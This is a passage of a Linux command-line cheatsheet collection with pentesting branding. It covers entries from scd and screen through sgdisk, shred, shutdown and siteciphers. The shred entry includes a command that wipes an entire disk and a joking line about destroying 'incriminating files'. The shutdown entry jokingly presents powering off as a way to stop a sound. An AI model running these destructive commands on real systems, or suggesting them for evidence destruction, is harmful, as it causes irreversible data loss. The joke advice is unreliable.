              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

163 - 🖥️scd

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the scd command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗ ██████╗██████╗ 
#  ██╔════╝██╔════╝██╔══██╗
#  ███████╗██║     ██║  ██║
#  ╚════██║██║     ██║  ██║
#  ███████║╚██████╗██████╔╝
#  ╚══════╝ ╚═════╝╚═════╝

# To index recursively some paths for the very first run:
scd -ar ~/Documents/

# To change to a directory path matching "doc":
scd doc

# To change to a path matching all of "a", "b" and "c":
scd a b c

# To change to a directory path that ends with "ts":
scd "ts$"

# To show selection menu and ranking of 20 most likely directories:
scd -v

# To alias current directory as "xray":
scd --alias=xray

# To jump to a previously defined aliased directory:
scd xray
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

164 - 🖥️screen

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the screen command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███████╗ ██████╗██████╗ ███████╗███████╗███╗   ██╗
#                ██╔════╝██╔════╝██╔══██╗██╔════╝██╔════╝████╗  ██║
#                ███████╗██║     ██████╔╝█████╗  █████╗  ██╔██╗ ██║
#                ╚════██║██║     ██╔══██╗██╔══╝  ██╔══╝  ██║╚██╗██║
#                ███████║╚██████╗██║  ██║███████╗███████╗██║ ╚████║
#                ╚══════╝ ╚═════╝╚═╝  ╚═╝╚══════╝╚══════╝╚═╝  ╚═══╝
                

                                                                  
# The first command you should run right after you login to a remote server ;-)
screen

# Explanation: With screen you can have multiple shells in the same window. You do not need to open new windows for a second connection to the same remote server, you can simply press C-a c inside the screen session. And if your computer crashes, you screen session on the remote server survives, you can re-attach to a previous screen session with screen -R.

# Start a new named screen session:
screen -S session_name

# Detach from the current session:
Press Ctrl+A then press d

# Re-attach a detached session:
screen -r session_name

# List all screen sessions:
screen -ls

screen ./long-unix-script.sh
# It can be de-attached or re-attached in different sessions. When a command is executing press “Ctrl + A” and then “d” to de-attach. To attach run.

screen -ls
# Note: Here, the later part of this command is screen id, which you can get using ‘screen -ls‘ command.

longcmd ; [Ctrl-Z] ; bg ; disown ; screen ; reptyr $( pidof longcmd )
# Suspend and reattach a process to screen.

# Close specify detached screen
# -X Send the specified command to a running screen session. -S Option to specify the screen session if you have several screen sessions running. screen -ls for listing current screens and its sessionname
screen -X -S [sessionname] quit

# Run a never-ending process in the background in a way that you can check on its status anytime
screen -d -m -S some_name ping my_router

# Explanation: 
    # -d -m start screen in "detached" mode. This creates a new session but does not attach to it.
    # -S some_name gives the screen session a label, so you can easily re-attach to it with screen -R some_name
    # The shell prompt returns immediately, and of course you can logout too, the screen session will continue to run happily.
    # When the specified program exits (in this example ping), its screen window will also exit, and if there are no other windows in the screen session, then the screen session itself will also exit.

# screen
#-----------#

screen -S session_name
Es ist immer eine gute Idee, einen beschreibenden Sitzungsnamen zu wählen.

Im Folgenden sind einige der häufigsten Befehle zum Verwalten von Linux Screen Windows aufgeführt:

Ctrl+a d
Trennen Sie sich von der Linux-Bildschirmsitzung

screen -r
Verbinden Sie sich erneut mit einem Linux-Bildschirm

Ctrl+a c Neues Fenster erstellen (mit Shell)
Ctrl+a " Alle Fenster auflisten"
Ctrl+a 0 Zu Fenster 0 wechseln (nach Nummer)
Ctrl+a A Benennen Sie das aktuelle Fenster um
Ctrl+a S Teilen Sie den aktuellen Bereich horizontal in zwei Bereiche
Ctrl+a | Teilen Sie den aktuellen Bereich vertikal in zwei Bereiche
Ctrl+a tab Schalten Sie den Eingabefokus auf die nächste Region
Ctrl+a Ctrl+a Wechseln Sie zwischen der aktuellen und der vorherigen Region
Ctrl+a Q Schließen Sie alle Regionen außer der aktuellen
Ctrl+a X Schließen Sie die aktuelle Region

screen -S test [abmelden mit Strg+A, d]
screen -ls [Sitzungen auflisten]
screen -r test [neu verbinden]
exit [beendet Bash und die screen Sitzung]

#==============================##==============================#
# CMD SCREEN						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

165 - 🖥️script

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the script command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███████╗ ██████╗██████╗ ██╗██████╗ ████████╗
#                ██╔════╝██╔════╝██╔══██╗██║██╔══██╗╚══██╔══╝
#                ███████╗██║     ██████╔╝██║██████╔╝   ██║   
#                ╚════██║██║     ██╔══██╗██║██╔═══╝    ██║   
#                ███████║╚██████╗██║  ██║██║██║        ██║   
#                ╚══════╝ ╚═════╝╚═╝  ╚═╝╚═╝╚═╝        ╚═╝   
                

script --timing=time.txt
# Script wir mit --timing estartet, sodass für die einzelnen Kommandos ein Zeitstempel hinterlegt wird - raus mit exit oder strg-d

scriptreplay ---timing=time.txt
# Gibt datei wieder

# scriptreplay --timing=time.log capture.txt

# script and `date` commands can be a blessing to a future self when questions are asked of server changes.
_today="$(date +'%Y-%m-%d')"
_command='apt-get upgrade'
script -ac "${_command}" ${_today}_${_command// /_}.script

#==============================##==============================#
# CMD SCRIPT						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

166 - 🖥️scsi_logging_level

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the scsi_logging_level command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗ ██████╗███████╗██╗        ██╗      ██████╗  ██████╗  ██████╗ ██╗███╗   ██╗ ██████╗         ██╗     ███████╗██╗   ██╗███████╗██╗    
#  ██╔════╝██╔════╝██╔════╝██║        ██║     ██╔═══██╗██╔════╝ ██╔════╝ ██║████╗  ██║██╔════╝         ██║     ██╔════╝██║   ██║██╔════╝██║    
#  ███████╗██║     ███████╗██║        ██║     ██║   ██║██║  ███╗██║  ███╗██║██╔██╗ ██║██║  ███╗        ██║     █████╗  ██║   ██║█████╗  ██║    
#  ╚════██║██║     ╚════██║██║        ██║     ██║   ██║██║   ██║██║   ██║██║██║╚██╗██║██║   ██║        ██║     ██╔══╝  ╚██╗ ██╔╝██╔══╝  ██║
#  ███████║╚██████╗███████║██║███████╗███████╗╚██████╔╝╚██████╔╝╚██████╔╝██║██║ ╚████║╚██████╔╝███████╗███████╗███████╗ ╚████╔╝ ███████╗███████╗
#  ╚══════╝ ╚═════╝╚══════╝╚═╝╚══════╝╚══════╝ ╚═════╝  ╚═════╝  ╚═════╝ ╚═╝╚═╝  ╚═══╝ ╚═════╝ ╚══════╝╚══════╝╚══════╝  ╚═══╝  ╚══════╝╚══════╝

# scsi_logging_level
# set and get the SCSI logging level (install sg3-utils)

# configure the log level of several tracepoints along the Linux SCSI stack
scsi_logging_level -s --ioctl=7

# track SCSI commands as they flow through
# the SCSI submission and completion path
# (call dmesg after that)
scsi_logging_level -s --midlevel=7
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

167 - 🖥️sdiff

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the sdiff command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███████╗██████╗ ██╗███████╗███████╗
#                ██╔════╝██╔══██╗██║██╔════╝██╔════╝
#                ███████╗██║  ██║██║█████╗  █████╗  
#                ╚════██║██║  ██║██║██╔══╝  ██╔══╝  
#                ███████║██████╔╝██║██║     ██║     
#                ╚══════╝╚═════╝ ╚═╝╚═╝     ╚═╝     
                                                   
                                                   

# The sdiff command lets you perform a side-by-side merge of differences between two files.

sdiff file1 file2

#==============================##==============================#
# CMD sdiff						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

168 - 🖥️set

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the set command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗███████╗████████╗
#  ██╔════╝██╔════╝╚══██╔══╝
#  ███████╗█████╗     ██║   
#  ╚════██║██╔══╝     ██║   
#  ███████║███████╗   ██║   
#  ╚══════╝╚══════╝   ╚═╝

Set or unset values of shell options and positional parameters.
Change the value of shell attributes and positional parameters, or display the names and values of shell variables.

# Useful Tips for Writing Effective Bash Scripts in Linux
#############################################################

# let script exit if a command fails
set -o errexit 
# OR
set -e

#################
# let script exit if an unsed variable is used
set -o nounset
OR
set -u
##################
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

169 - 🖥️setup-apkcache

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the setup-apkcache command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗███████╗████████╗██╗   ██╗██████╗        █████╗ ██████╗ ██╗  ██╗ ██████╗ █████╗  ██████╗██╗  ██╗███████╗
#  ██╔════╝██╔════╝╚══██╔══╝██║   ██║██╔══██╗      ██╔══██╗██╔══██╗██║ ██╔╝██╔════╝██╔══██╗██╔════╝██║  ██║██╔════╝
#  ███████╗█████╗     ██║   ██║   ██║██████╔╝█████╗███████║██████╔╝█████╔╝ ██║     ███████║██║     ███████║█████╗  
#  ╚════██║██╔══╝     ██║   ██║   ██║██╔═══╝ ╚════╝██╔══██║██╔═══╝ ██╔═██╗ ██║     ██╔══██║██║     ██╔══██║██╔══╝  
#  ███████║███████╗   ██║   ╚██████╔╝██║           ██║  ██║██║     ██║  ██╗╚██████╗██║  ██║╚██████╗██║  ██║███████╗
#  ╚══════╝╚══════╝   ╚═╝    ╚═════╝ ╚═╝           ╚═╝  ╚═╝╚═╝     ╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚══════╝

# apk is the tool used to install, upgrade, or delete software on a running system of Alpine Linux package management

# To enable local APK cache run
setup-apkcache

# If you've installed Alpine to your hard drive (as 'sys'),
# then create a cache dir and then an /etc/apk/cache symlink pointing to that dir:

mkdir -p /var/cache/apk
ln -s /var/cache/apk /etc/apk/cache
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

170 - 🖥️sgdisk

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the sgdisk command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗ ██████╗ ██████╗ ██╗███████╗██╗  ██╗
#  ██╔════╝██╔════╝ ██╔══██╗██║██╔════╝██║ ██╔╝
#  ███████╗██║  ███╗██║  ██║██║███████╗█████╔╝ 
#  ╚════██║██║   ██║██║  ██║██║╚════██║██╔═██╗ 
#  ███████║╚██████╔╝██████╔╝██║███████║██║  ██╗
#  ╚══════╝ ╚═════╝ ╚═════╝ ╚═╝╚══════╝╚═╝  ╚═╝

# sgdisk
# Command-line GUID partition table (GPT) manipulator for Linux and Unix

# convert an MBR partition table to GPT, use sgdisk
sgdisk -g /dev/sda

# convert GPT to MBR use the m option.
# it is not possible to convert more than four partitions from GPT to MBR
sgdisk -m /dev/sda

# Sort GPT partitions
# when a new partition is created in the space between two partitions or a partition is deleted
sgdisk -s /dev/sda

# Using sgdisk you can create a binary backup consisting of the protective MBR,
# the main GPT header, the backup GPT header, and one copy of the partition table
sgdisk -b=sgdisk-sda.bak

# Restore GPT/MBR backup:
sgdisk -l=sgdisk-sda.bak

# Clone your current device's partition layout '/dev/sda' to another drive '/dev/sdc'
sgdisk -R=/dev/sdc /dev/sda

# If both drives will be in the same computer, you need to randomize the GUID's after cloning
sgdisk -G /dev/sdc
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

171 - 🖥️short

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the short command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗██╗  ██╗ ██████╗ ██████╗ ████████╗
#  ██╔════╝██║  ██║██╔═══██╗██╔══██╗╚══██╔══╝
#  ███████╗███████║██║   ██║██████╔╝   ██║   
#  ╚════██║██╔══██║██║   ██║██╔══██╗   ██║   
#  ███████║██║  ██║╚██████╔╝██║  ██║   ██║   
#  ╚══════╝╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═╝   ╚═╝

# short (Bash-Snippets)  - Unmasks shortended urls.

# Unmask the true url behind a shortened link
short tinyurl.com/jhkj
    # Output: 
       # http://possiblemaliciouswebsiteornot.com
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

172 - 🖥️shred

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the shred command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███████╗██╗  ██╗██████╗ ███████╗██████╗ 
#                ██╔════╝██║  ██║██╔══██╗██╔════╝██╔══██╗
#                ███████╗███████║██████╔╝█████╗  ██║  ██║
#                ╚════██║██╔══██║██╔══██╗██╔══╝  ██║  ██║
#                ███████║██║  ██║██║  ██║███████╗██████╔╝
#                ╚══════╝╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚═════╝ 
                                                        
                                                       
# To shred a file (5 passes) and verbose output:
shred -n 5 -v file.txt

# To shred a file (5 passes) and a final overwrite of zeroes:
shred -n 5 -vz file.txt

# To do the above, and then truncate and rm the file:
shred -n 5 -vzu file.txt

# To shred a partition:
shred -n 5 -vz /dev/sda

# Remember that shred may not behave as expected on journaled file systems if file data is being journaled.

shred -uz ⁂.jpg 
# The new triple asterisk (asterism) Unicode character can be used when you want to match only incriminating files. 

#==============================##==============================#
# CMD SHRED						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

173 - 🖥️shutdown

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the shutdown command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███████╗██╗  ██╗██╗   ██╗████████╗██████╗  ██████╗ ██╗    ██╗███╗   ██╗
#                ██╔════╝██║  ██║██║   ██║╚══██╔══╝██╔══██╗██╔═══██╗██║    ██║████╗  ██║
#                ███████╗███████║██║   ██║   ██║   ██║  ██║██║   ██║██║ █╗ ██║██╔██╗ ██║
#                ╚════██║██╔══██║██║   ██║   ██║   ██║  ██║██║   ██║██║███╗██║██║╚██╗██║
#                ███████║██║  ██║╚██████╔╝   ██║   ██████╔╝╚██████╔╝╚███╔███╔╝██║ ╚████║
#                ╚══════╝╚═╝  ╚═╝ ╚═════╝    ╚═╝   ╚═════╝  ╚═════╝  ╚══╝╚══╝ ╚═╝  ╚═══╝
                                                                                       
                                                                                       

# Reboot the system immediately
shutdown -r now

# Shut system down immediately
shutdown -h now

# Reboot system after 5 minutes
shutdown -r +5

# Stop the auto playing sound that you're hearing, wherever it's coming from. This will also exit your editor.
shutdown -h 0 

#==============================##==============================#
# CMD SHUTDOWN						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

174 - 🖥️siteciphers

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the siteciphers command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗██╗████████╗███████╗ ██████╗██╗██████╗ ██╗  ██╗███████╗██████╗ ███████╗
#  ██╔════╝██║╚══██╔══╝██╔════╝██╔════╝██║██╔══██╗██║  ██║██╔════╝██╔══██╗██╔════╝
#  ███████╗██║   ██║   █████╗  ██║     ██║██████╔╝███████║█████╗  ██████╔╝███████╗
#  ╚════██║██║   ██║   ██╔══╝  ██║     ██║██╔═══╝ ██╔══██║██╔══╝  ██╔══██╗╚════██║
#  ███████║██║   ██║   ███████╗╚██████╗██║██║     ██║  ██║███████╗██║  ██║███████║
#  ╚══════╝╚═╝   ╚═╝   ╚══════╝ ╚═════╝╚═╝╚═╝     ╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝╚══════╝

# siteciphers (Bash-Snippets)
# Checks the available ciphers for the SSL of an https site.

# Determine the available SSL ciphers for an https website
siteciphers github.com

# Determine the ciphers setting the delay between requests (default is 1 sec)
siteciphers -d 0.75 travis-ci.org
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

